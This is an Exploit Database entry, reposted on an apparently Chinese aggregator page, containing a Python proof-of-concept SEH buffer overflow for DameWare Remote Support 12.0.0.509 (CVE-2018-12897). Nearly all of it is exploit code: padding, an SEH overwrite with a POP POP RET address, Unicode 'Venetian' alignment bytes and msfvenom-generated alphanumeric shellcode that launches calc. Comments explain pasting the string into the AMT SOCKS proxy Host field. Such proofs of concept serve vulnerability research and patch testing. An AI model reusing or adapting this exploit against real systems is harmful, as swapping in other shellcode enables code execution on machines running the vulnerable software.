DameWare Remote Support 12.0.0.509 – ‘Host’ Buffer Overflow (SEH)

• Exploit Database
• 15 阅读

• 作者： Xavi Beltran
  日期： 2019-07-16
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47126/

• #!/usr/bin/env python
  # Author: Xavi Beltran
  # Date: 11/07/2019
  # Description:
  # SEH based Buffer Overflow
  #			DameWare Remote Support V. 12.0.0.509
  #			CVE-2018-12897
  
  # Contact: xavibeltran@protonmail.com
  # Webpage: https://xavibel.com
  # Tested on: Windows XP SP3 ESP
  
  # Credit for Adam Jeffreys from Nettitude! :)
  
  # Usage:
  #			Right click on a host >> AMT >> AMT Settings dialog
  #			Mark "Use SOCKS proxy" box
  #			Paste the string in the Host field
  
  junk= "\x41" * 1672
  
  # Unicode compatible padding
  nseh = "\x61\x43"
  
  # 007A007B - POP POP RET
  seh = "\x7B\x7A"
  
  align= ""
  align += "\x05\x20\x11" # add eax,0x11002000
  align += "\x71" # Venetian Padding
  align += "\x2d\x19\x11" # sub eax,0x11001900
  align += "\x71" # Venetian Padding
  align += "\x50" # push eax
  align += "\x71" # Venetian Padding
  align += "\xC3" # RETN
  
  padding = "\x41" * 11
  
  junk2 = "\x41" * 870
  junk3 = "\x41" * 2014
  
  # msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
  # ./alpha2 eax --unicode --uppercase < shellcode.raw
  # 508 bytes
  shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"
  
  
  crash = junk + nseh + seh + padding + align + junk2 + shellcode + junk3
  
  print(crash)